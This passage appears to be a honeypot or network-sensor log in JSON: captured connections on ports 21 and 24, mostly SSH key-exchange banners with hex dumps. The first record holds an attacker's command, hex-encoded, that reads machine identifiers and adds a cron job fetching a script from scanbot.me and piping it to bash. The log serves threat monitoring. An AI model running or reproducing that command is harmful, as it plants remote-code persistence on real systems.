2>/dev/null)\"","payload_hex":"6563686f20224d49443d2428636174202f6574632f6d616368696e652d6964202f7661722f6c69622f646275732f6d616368696e652d696420323e2f6465762f6e756c6c202f7379732f626c6f636b2f2a2f6465766963652f73657269616c20323e2f6465762f6e756c6c207c2067726570202d457620275e30303a30303a30303a30303a30303a3030247c5e2427207c20736f7274202d75207c2073686132353673756d207c20637574202d63312d3130292050524f433a242867726570202d63205e70726f636573736f72202f70726f632f637075696e666f20323e2f6465762f6e756c6c2920554e414d453a2428756e616d65202d6120323e2f6465762f6e756c6c292024282863726f6e746162202d6c20323e2f6465762f6e756c6c207c2067726570202d762067766320323e2f6465762f6e756c6c3b206563686f20222a202a202a202a202a20286375726c202d6673534c20687474703a2f2f7363616e626f742e6d652f3f67766320323e2f6465762f6e756c6c207c7c2077676574202d714f2d20687474703a2f2f7363616e626f742e6d652f3f67766320323e2f6465762f6e756c6c29207c20626173682229207c2063726f6e746162202d20323e2f6465762f6e756c6c2922","method":"","user_agent":"","ja3":"","session":"283a4618-2bd2-461d-b9d1-18dd2dcba9da-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"18b5f7dada4da84d","strings":["echo \"MID=$(cat /etc/machine-id /var/lib/dbus/machine-id 2>/dev/null /sys/block/…"],"iocs":{"paths":["/etc/machine-id","/var/lib/dbus/machine-id","/dev/null","/sys/block"]}},"interactive":true},{"timestamp":"2026-10-19T20:11:24","port":21,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-OpenSSH\r\n\u0000\u0000\u0004�\u000e\u0014?�\u0019�|#5\u0019��]?����\u0000\u0000\u0000�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c\u0000\u0000\u0002\u0019ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,sk-ssh-ed25519@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,sk-ecdsa-sha2-nistp256-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512-cert-v01@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000a��^4e��;�B\u001d�w","payload_hex":"5353482d322e302d4f70656e5353480d0a000004ac0e143ffb19dc7c23351983815d3fe9c0c6eb000000ac637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6578742d696e666f2d63000002197373682d7273612c7373682d6473732c65636473612d736861322d6e697374703235362c736b2d65636473612d736861322d6e69737470323536406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c7373682d656432353531392c736b2d7373682d65643235353139406f70656e7373682e636f6d2c7273612d736861322d3235362c7273612d736861322d3531322c7373682d7273612d636572742d763031406f70656e7373682e636f6d2c7373682d6473732d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d393600000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d3936000000046e6f6e65000000046e6f6e650000000000000000000000000061cfd85e3465b3803bc3421dd677","method":"","user_agent":"","ja3":"","session":"8bbf384c-654f-456f-b9d5-61b2356ce9c4","seq":1,"duration_ms":284,"bytes_in":1217,"bytes_out":34,"enriched":{"digest":"0655fe500ad4f105","label":"SSH","strings":["SSH-2.0-OpenSSH","curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nist…","ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha…","arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128…","Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96","none","nonea"],"iocs":{"domains":["libssh.org","openssh.com"]}}},{"timestamp":"2026-10-19T20:10:44","port":24,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-OpenSSH\r\n\u0000\u0000\u0004�\u000e\u0014M\u0004��.O��$�p/,��O\u0000\u0000\u0000�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c\u0000\u0000\u0002\u0019ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,sk-ssh-ed25519@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,sk-ecdsa-sha2-nistp256-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512-cert-v01@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000�*�w8k�sB�\u0015H�l","payload_hex":"5353482d322e302d4f70656e5353480d0a000004ac0e144d04f0ab2e4faed424f6702f2c98d34f000000ac637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6578742d696e666f2d63000002197373682d7273612c7373682d6473732c65636473612d736861322d6e697374703235362c736b2d65636473612d736861322d6e69737470323536406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c7373682d656432353531392c736b2d7373682d65643235353139406f70656e7373682e636f6d2c7273612d736861322d3235362c7273612d736861322d3531322c7373682d7273612d636572742d763031406f70656e7373682e636f6d2c7373682d6473732d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d393600000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d3936000000046e6f6e65000000046e6f6e6500000000000000000000000000ae2ab377386bba7342a61548ac6c","method":"","user_agent":"","ja3":"","session":"37d59915-3418-4185-aa12-aedba818c75f","seq":1,"duration_ms":311,"bytes_in":1217,"bytes_out":12,"enriched":{"digest":"d8652fe8a7688255","label":"SSH","strings":["SSH-2.0-OpenSSH","curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nist…","ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha…","arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128…","Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96","none"],"iocs":{"domains":["libssh.org","openssh.com"]}}},{"timestamp":"2026-10-19T20:10:29","port":21,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-OpenSSH\r\n","payload_hex":"5353482d322e302d4f70656e5353480d0a","method":"","user_agent":"","ja3":"","session":"0cd1c4f9-1de3-468b-9412-13bc54d2939b","seq":1,"duration_ms":325,"bytes_in":17,"bytes_out":34,"enriched":{"digest":"d0c1a40494b9d799","label":"SSH","strings":["SSH-2.0-OpenSSH"]}},{"timestamp":"2026-10-19T20:10:16","port":24,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-OpenSSH\r\n","payload_hex":"5353482d322e302d4f70656e5353480d0a","method":"","user_agent":"","ja3":"","session":"317c2c31-1607-4d19-b222-812e746dc7f3","seq":1,"duration_ms":290,"bytes_in":17,"bytes_out":12,"enriched":{"digest":"d0c1a40494b9d799","label":"SSH","strings":["SSH-2.0-OpenSSH"]}},{"timestamp":"2026-10-19T20:05:48","port":21,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-OpenSSH\r\n\u0000\u0000\u0004�\u000e\u0014y\u000e��P��7]R\u0006`��tA\u0000\u0000\u0000�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c\u0000\u0000\u0002\u0019ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,sk-ssh-ed25519@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,sk-ecdsa-sha2-nistp256-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512-cert-v01@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000F��h�;͈$N\u0018p��","payload_hex":"5353482d322e302d4f70656e5353480d0a000004ac0e14790eaee650b9e1375d520660a6837441000000ac637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6578742d696e666f2d63000002197373682d7273612c7373682d6473732c65636473612d736861322d6e697374703235362c736b2d65636473612d736861322d6e69737470323536406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c7373682d656432353531392c736b2d7373682d65643235353139406f70656e7373682e636f6d2c7273612d736861322d3235362c7273612d736861322d3531322c7373682d7273612d636572742d763031406f70656e7373682e636f6d2c7373682d6473732d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d393600000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d3936000000046e6f6e65000000046e6f6e650000000000000000000000000046dbd768d03bcd88244e1870ff9b","method":"","user_agent":"","ja3":"","session":"6822c0f0-45ec-40e5-b684-0a1e0f55cd5f","seq":1,"duration_ms":387,"bytes_in":1217,"bytes_out":34,"enriched":{"digest":"844c2ef35e97a707","label":"SSH","strings":["SSH-2.0-OpenSSH","curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nist…","ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha…","arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128…","Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96","none","noneF"],"iocs":{"domains":["libssh.org","openssh.com"]}}},{"timestamp":"2026-10-19T20:05:29","port":24,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-OpenSSH\r\n\u0000\u0000\u0004�\u000e\u0014�\u000f�G���\b�\u0015��3���\u0000\u0000\u0000�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c\u0000\u0000\u0002\u0019ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,sk-ssh-ed25519@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,sk-ecdsa-sha2-nistp256-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512-cert-v01@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000����Y���k�9�\u001bp","payload_hex":"5353482d322e302d4f70656e5353480d0a000004ac0e148b0fd947aafa9b08ed15c5cd339fa78d000000ac637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6578742d696e666f2d63000002197373682d7273612c7373682d6473732c65636473612d736861322d6e697374703235362c736b2d65636473612d736861322d6e69737470323536406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c7373682d656432353531392c736b2d7373682d65643235353139406f70656e7373682e636f6d2c7273612d736861322d3235362c7273612d736861322d3531322c7373682d7273612d636572742d763031406f70656e7373682e636f6d2c7373682d6473732d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d393600000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d3936000000046e6f6e65000000046e6f6e6500000000000000000000000000f3ecc9c259f8b58c6bb5399d1b70","method":"","user_agent":"","ja3":"","session":"e6d4ffd9-311b-4fde-b279-c2ea25af7b81","seq":1,"duration_ms":405,"bytes_in":1217,"bytes_out":12,"enriched":{"digest":"f53cdbcb54f6a39d","label":"SSH","strings":["SSH-2.0-OpenSSH","curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nist…","ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha…","arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128…","Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96","none"],"iocs":{"domains":["libssh.org","openssh.com"]}}},{"timestamp":"2026-10-19T20:04:06","port":21,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-OpenSSH\r\n\u0000\u0000\u0004�\u000e\u0014c��7�\t^��#e����c\u0000\u0000\u0000�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c\u0000\u0000\u0002\u0019ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,sk-ssh-ed25519@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,sk-ecdsa-sha2-nistp256-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512-cert-v01@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000�arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128-gcm@openssh.com,3des-cbc,chacha20-poly1305@openssh.com\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000,\u0011\t�5\u000f���޶\u0011B\u001a","payload_hex":"5353482d322e302d4f70656e5353480d0a000004ac0e1463d8d037bf095ec5ef2365c3f9989363000000ac637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6578742d696e666f2d63000002197373682d7273612c7373682d6473732c65636473612d736861322d6e697374703235362c736b2d65636473612d736861322d6e69737470323536406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c7373682d656432353531392c736b2d7373682d65643235353139406f70656e7373682e636f6d2c7273612d736861322d3235362c7273612d736861322d3531322c7373682d7273612d636572742d763031406f70656e7373682e636f6d2c7373682d6473732d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000087617263666f75722c617263666f75723132382c617263666f75723235362c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d6362632c6165733132382d67636d406f70656e7373682e636f6d2c336465732d6362632c63686163686132302d706f6c7931333035406f70656e7373682e636f6d00000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d393600000042686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d736861312c686d61632d736861312d3936000000046e6f6e65000000046e6f6e65000000000000000000000000002c1109e4350fc3e6c8deb611421a","method":"","user_agent":"","ja3":"","session":"da3706e0-72d8-4ab1-b6a4-ff13403853ce","seq":1,"duration_ms":359,"bytes_in":1217,"bytes_out":34,"enriched":{"digest":"f63ebc61804829cd","label":"SSH","strings":["SSH-2.0-OpenSSH","curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nist…","ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha…","arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes128…","Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96","none","none,"],"iocs":{"domains":["libssh.org","openssh.com"]}}},{"timestamp":"2026-10-19T20:03:35","port":24,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-OpenSSH\r\n\u0000\u0000\u0004�\u000e\u0014�,p�w�f��\u00067�\u0004�\u0015&\u0000\u0000\u0000�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c\u0000\u0000\u0002\u0019ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,sk-ecdsa-sha2-nistp256@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,sk-ssh-ed25519@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,sk-ecdsa-sha2-nistp256-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,